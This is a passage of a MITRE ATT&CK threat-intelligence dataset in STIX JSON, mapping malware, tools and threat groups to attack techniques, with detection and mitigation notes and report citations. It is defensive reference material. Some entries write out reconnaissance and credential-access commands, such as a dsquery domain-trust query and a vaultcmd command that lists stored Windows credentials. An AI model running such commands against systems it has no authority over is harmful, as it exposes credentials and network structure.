Aug 2020) ", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d9cd7a48-0728-4e56-9c74-45baf45cf0ff", "type": "relationship", "created": "2021-09-29T20:46:38.429Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). 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(2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", "source_name": "FireEye FELIXROOT July 2018"}, {"source_name": "ESET GreyEnergy Oct 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}], "modified": "2020-03-17T01:16:25.896Z", "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) collects the username from the victim\u2019s machine.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)", "relationship_type": "uses", "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d9d86c0c-6ee9-4fdc-bb9b-6d331a44bbde", "type": "relationship", "created": "2020-11-09T14:52:45.806Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2020-11-09T14:52:45.806Z", "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has been packed with UPX.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d9dce15d-68d8-46af-a7ec-354bf5093c49", "created": "2020-05-22T18:00:52.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FBI FLASH APT39 September 2020", "description": "FBI. (2020, September 17). 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(2021, March 3). Centreon to Exim and Back: On the Trail of Sandworm. Retrieved April 6, 2024.", "url": "https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm/"}, {"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.", "url": "https://www.justice.gov/opa/press-release/file/1328521/download"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-06T19:04:07.568Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has registered domain names and created URLs that are often designed to mimic or spoof legitimate websites, such as email login pages, online file sharing and storage websites, and password reset pages, while also hosting these items on legitimate, compromised network infrastructure.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: Slowik Sandworm 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--da0a0a14-0f29-43f8-abf7-b281a1071928", "type": "relationship", "created": "2021-09-21T15:45:10.422Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. 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(2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020."}], "modified": "2021-10-12T14:26:52.532Z", "description": "Administrators should perform an audit of all access lists and the permissions they have been granted to access web applications and services. This should be done extensively on all resources in order to establish a baseline, followed up on with periodic audits of new or updated resources. Suspicious accounts/credentials should be investigated and removed.\n \nEnable advanced auditing on ADFS. Check the success and failure audit options in the ADFS Management snap-in. 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Retrieved October 12, 2021."}], "modified": "2021-10-16T01:50:40.681Z", "description": "Configure applications to use the application bundle structure which leverages the <code>/Resources</code> folder location.(Citation: Apple App Security Overview) ", "relationship_type": "mitigates", "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", "target_ref": "attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--da7dbcec-4714-4bca-8b90-d3a0a95576d9", "type": "relationship", "created": "2020-07-16T15:07:27.115Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-07-16T15:51:26.020Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can check for the presence of network sniffers, AV, and BitDefender firewall.(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--da7dcfcb-7a36-43a8-8a0a-409d15b7e62e", "type": "relationship", "created": "2021-09-29T15:41:18.396Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MalwareBytes Lazarus-Andariel Conceals Code April 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/", "description": "Jazi, H. (2021, April 19). Lazarus APT conceals malicious code within BMP image to drop its RAT . Retrieved September 29, 2021."}, {"source_name": "Kaspersky Andariel Ransomware June 2021", "url": "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", "description": "Park, S. (2021, June 15). Andariel evolves to target South Korea with ransomware. Retrieved September 29, 2021."}], "modified": "2021-09-29T17:18:24.533Z", "description": "[Andariel](https://attack.mitre.org/groups/G0138) has hidden malicious executables within PNG files.(Citation: MalwareBytes Lazarus-Andariel Conceals Code April 2021)(Citation: Kaspersky Andariel Ransomware June 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8", "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--da7ddc38-f706-43b4-b3e7-fa3e5d1d2cff", "type": "relationship", "created": "2019-02-14T17:49:30.824Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Harmj0y Domain Trusts", "url": "https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944", "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."}], "modified": "2020-09-17T18:26:17.799Z", "description": "[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on domain trusts with <code>dsquery * -filter \"(objectClass=trustedDomain)\" -attr *</code>.(Citation: Harmj0y Domain Trusts)", "relationship_type": "uses", "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe", "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--da7fb67f-3cb2-498d-a832-f98622bc9ee2", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/", "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"}, {"url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging", "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", "source_name": "Kaspersky Lab SynAck May 2018"}], "modified": "2019-07-26T23:00:57.180Z", "description": "[SynAck](https://attack.mitre.org/software/S0242) enumerates all running processes.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)(Citation: Kaspersky Lab SynAck May 2018)", "relationship_type": "uses", "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--da82b0e0-0397-426f-a8d0-b596ec2d81bb", "created": "2022-03-30T14:26:51.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T21:56:21.793Z", "description": "Monitor executed commands and arguments that may search and collect local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized users.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--da87f8fe-9644-4e97-b764-d570910e9e4e", "created": "2022-03-30T14:26:51.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Malwarebytes The Windows Vault", "description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.", "url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T20:42:47.707Z", "description": "Monitor newly executed processes for suspicious activity listing credentials from the Windows Credentials locker (e.g. <code>vaultcmd /listcreds:\u201cWindows Credentials\u201d</code>).(Citation: Malwarebytes The Windows Vault)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--da8b2bcf-c952-4076-8e45-b18572f49ae9", "created": "2023-03-29T16:07:16.657Z", "revoked": false, "external_references": [{"source_name": "Lunghi Iron Tiger Linux", "description": "Daniel Lunghi. (2023, March 1). Iron Tiger\u2019s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.", "url": "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-29T16:07:16.657Z", "description": "[SysUpdate](https://attack.mitre.org/software/S0663) can collected the IP address and domain name of a compromised host.(Citation: Lunghi Iron Tiger Linux) ", "relationship_type": "uses", "source_ref": "malware--c009560a-f097-45a3-8f9f-78ec1440a783", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--daabfd4e-f873-4afc-8f39-fc5daf7cd71a", "created": "2021-09-29T15:41:18.402Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "AhnLab Andariel Subgroup of Lazarus June 2018", "description": "AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group,  a subgroup of the Lazarus. Retrieved September 29, 2021.", "url": "http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:51:40.275Z", "description": "(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8", "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--dab25d1d-e38b-491d-9842-8de94999744f", "created": "2022-03-30T14:26:51.838Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", "modified": "2022-04-20T03:09:38.895Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f", "target_ref": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dabe8ee6-7c30-4f00-9f96-47eca9c77850", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dac35c07-4a4a-4924-a702-09e5cf988349", "created": "2023-02-14T18:21:40.090Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MalwareBytes WoodyRAT Aug 2022", "description": "MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-23T20:58:23.629Z", "description": "[Woody RAT](https://attack.mitre.org/software/S1065) has relied on CVE-2022-30190 (Follina) for execution during delivery.(Citation: MalwareBytes WoodyRAT Aug 2022)", "relationship_type": "uses", "source_ref": "malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dac3df5a-9569-41ac-94d2-115062b7b632", "created": "2022-09-26T20:15:31.365Z", "revoked": false, "external_references": [{"source_name": "McAfee Sharpshooter December 2018", "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-26T20:15:31.365Z", "description": "[Rising Sun](https://attack.mitre.org/software/S0448) has identified the OS product name from a compromised host by searching the registry for `SOFTWARE\\MICROSOFT\\Windows NT\\ CurrentVersion | ProductName`.(Citation: McAfee Sharpshooter December 2018)", "relationship_type": "uses", "source_ref": "malware--56e6b6c2-e573-4969-8bab-783205cebbbf", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dac527e7-fffb-46de-8585-57a112cb1eba", "type": "relationship", "created": "2020-12-02T21:13:54.437Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Accenture HyperStack October 2020", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}], "modified": "2020-12-02T21:13:54.437Z", "description": "(Citation: Accenture HyperStack October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dac6c0a0-9eba-41b5-95c1-2f340d12b175", "type": "relationship", "created": "2020-02-04T12:52:13.346Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-12T18:32:33.058Z", "description": "Preemptively search for files containing passwords and take actions to reduce the exposure risk when found.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dac8dcfd-e7e7-4b41-b100-07f95f6b0ba9", "type": "relationship", "created": "2019-01-29T17:59:44.450Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More", "source_name": "Talos Zeus Panda Nov 2017"}, {"description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf", "source_name": "GDATA Zeus Panda June 2017"}], "modified": "2019-04-16T20:55:20.075Z", "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) collects the OS version, system architecture, computer name, product ID, install date, and information on the keyboard mapping to determine the language used on the system.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)", "relationship_type": "uses", "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dacff5f4-a7ed-424b-847b-377ed2b91679", "type": "relationship", "created": "2020-07-15T20:23:36.473Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevx Carberp March 2011", "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf", "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."}], "modified": "2020-08-03T15:14:18.115Z", "description": "[Carberp](https://attack.mitre.org/software/S0484) has collected the operating system version from the infected system.(Citation: Prevx Carberp March 2011)", "relationship_type": "uses", "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dad14304-3539-4de9-b50b-c79d2d376ab6", "type": "relationship", "created": "2021-10-14T22:21:20.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Taidoor", "description": "Trend Micro. (2012). The Taidoor Campaign. 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Retrieved March 2, 2022."}], "modified": "2022-03-02T17:32:03.501Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has replaced `win_fw.dll`, an internal component that is executed during IDA Pro installation, with a malicious DLL to download and execute a payload.(Citation: ESET Twitter Ida Pro Nov 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dafa1584-bdd9-4c46-be07-2d002a529948", "created": "2020-03-16T14:49:02.706Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MagicWeb", "description": "Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . 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Retrieved August 26, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"}, {"source_name": "FireEye APT34 Webinar Dec 2017", "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}, {"source_name": "FireEye APT35 2018", "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"}, {"source_name": "Unit42 OilRig Playbook 2023", "description": "Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.", "url": "https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-06T20:43:52.196Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019) [OilRig](https://attack.mitre.org/groups/G0049) has also used tool named PICKPOCKET to dump passwords from web browsers.(Citation: FireEye APT34 July 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--db003d7a-10da-4167-ba52-43a09e73075c", "created": "2022-07-11T20:37:08.255Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-17T16:32:13.924Z", "description": "Monitor for newly executed processes with arguments that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined emails.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--438c967d-3996-4870-bfc2-3954752a1927", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--db0657fe-7bfb-43bc-8565-976e448683c3", "type": "relationship", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.864Z", "description": "Monitor for newly created windows registry keys that may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.", "source_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--db08c6bc-0a2a-41f3-bcb2-5410f9e0afa6", "type": "relationship", "created": "2020-12-22T20:56:28.406Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}], "modified": "2021-04-20T22:02:32.999Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used valid credentials with various services during lateral movement.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": 